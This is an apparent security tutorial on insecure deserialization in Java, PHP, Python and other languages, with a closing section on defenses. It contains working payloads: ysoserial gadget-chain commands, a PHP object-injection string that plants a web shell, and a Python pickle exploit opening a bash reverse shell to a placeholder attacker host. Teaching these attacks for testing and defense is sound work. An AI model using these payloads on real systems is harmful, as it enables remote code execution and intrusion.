What Is Deserialization
Serialization — converting an in-memory object to a format that can be stored or transmitted over a network (bytes, JSON, XML).
Deserialization — the reverse process: restoring an object from serialized data.
The problem: if an application deserializes user-supplied data, an attacker can send a malicious object and force the application to execute arbitrary code.
Java: ysoserial and Gadget Chains
Mechanism
Java has a built-in serialization mechanism (java.io.Serializable). During deserialization, readObject() methods are called. If the classpath contains libraries with dangerous "gadget chains" — arbitrary code executes.
Java serialization magic bytes: AC ED 00 05 (or rO0AB in base64)
Gadget Chains (ysoserial)
# Download ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
# List available gadget chains
java -jar ysoserial-all.jar
# Generate payload
java -jar ysoserial-all.jar CommonsCollections6 'id' | base64 -w0
# Most common gadget chains:
# CommonsCollections1-7 (Apache Commons Collections)
# Spring1, Spring2 (Spring Framework)
# Hibernate1, Hibernate2
# URLDNS (DNS callback for detection without RCE)
Detection (URLDNS gadget)
# Safe PoC — only a DNS request, no RCE
java -jar ysoserial-all.jar URLDNS 'http://UNIQUE.interact.sh' | base64 -w0
# Send to a field that may deserialize
# If a DNS request arrives — Java object deserialization is present
Where to Look
- Java RMI (port 1099)
- JMX (port 1099/9999)
- HTTP params and cookies with base64 starting with rO0
- XML/AMF/Hessian endpoints
- ViewState in JSF
PHP: Object Injection
Mechanism
PHP serializes objects via serialize(). If a deserialized object has a __destruct(), __wakeup(), or __toString() method — they are called automatically.
// Serialized string
O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:4:"user";}
// O:4 = Object with a 4-character class name
// :2 = 2 properties
Exploit
// Vulnerable server code
class Logger {
public $filename;
public $data;
public function __destruct() {
file_put_contents($this->filename, $this->data);
// Writes to a file when the object is destroyed!
}
}
// Normal class
class User {
public $name;
}
// During deserialization:
$data = base64_decode($_COOKIE['user']);
$user = unserialize($data); // VULNERABLE
// Attack: replace cookie with:
// O:6:"Logger":2:{s:8:"filename";s:15:"/var/www/sh.php";s:4:"data";s:29:"<?php system($_GET['c']); ?>";}
# Generate PHP payload in Python
payload = 'O:6:"Logger":2:{s:8:"filename";s:24:"/var/www/html/shell.php";s:4:"data";s:30:"<?php system($_GET['c']); ?>";}'
import base64
print(base64.b64encode(payload.encode()).decode())
Common PHP Magic Methods
| Method | When Called |
|---|---|
__destruct |
When the object is destroyed (always after deserialization) |
__wakeup |
Immediately after unserialize() |
__toString |
When converted to a string |
__invoke |
When called as a function |
__call |
When a non-existent method is called |
Python: Pickle RCE
Mechanism
Python's pickle module serializes objects. During unpickling, the __reduce__ and __reduce_ex__ methods of the object are called. Via __reduce__, you can specify an arbitrary function to call.
import pickle, os
class Exploit:
def __reduce__(self):
return (os.system, ('id > /tmp/pwned',))
# Serialize
payload = pickle.dumps(Exploit())
print(payload) # bytes with embedded command
# During deserialization:
pickle.loads(payload) # executes os.system('id > /tmp/pwned')
CTF Exploit
import pickle, base64, os
class RCE:
def __reduce__(self):
cmd = "bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'"
return (os.system, (cmd,))
payload = base64.b64encode(pickle.dumps(RCE())).decode()
print(payload)
# Insert into the field that pickle.loads() deserializes
Where to Find Pickle
# Commonly in:
# - Cookies: session cookie in Flask without a SecretKey
# - ML services (model in a .pkl file)
# - Task queues (Celery, RQ with Redis)
# - Caching (Redis, Memcached)
YAML/Marshal/MessagePack
# YAML is also dangerous!
import yaml
yaml.load(user_input) # VULNERABLE
yaml.safe_load(user_input) # SAFE
# Ruby Marshal
Marshal.load(user_input) # VULNERABLE
# Node.js serialize-javascript
const serialize = require('node-serialize');
serialize.unserialize(user_input) # VULNERABLE
Defenses
// Java: filter classes during deserialization
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
"java.base/*;!*" // allow only java.base
);
ObjectInputStream ois = new ObjectInputStream(is);
ois.setObjectInputFilter(filter);
// PHP: avoid unserialize() with user data
// If serialization is needed — use JSON
$data = json_decode($_COOKIE['data'], true); // safe
// PHP 7+: allowed_classes
$obj = unserialize($data, ['allowed_classes' => ['User']]);
# Python: never pickle.loads() user-supplied data
# Use JSON for external data
import json
data = json.loads(user_input) # safe
# For internal cached data with verification:
import hmac, hashlib
def safe_loads(data, secret):
payload, sig = data[:-32], data[-32:]
if hmac.compare_digest(sig, hmac.new(secret, payload, hashlib.sha256).digest()):
return pickle.loads(payload)
raise ValueError("Invalid signature")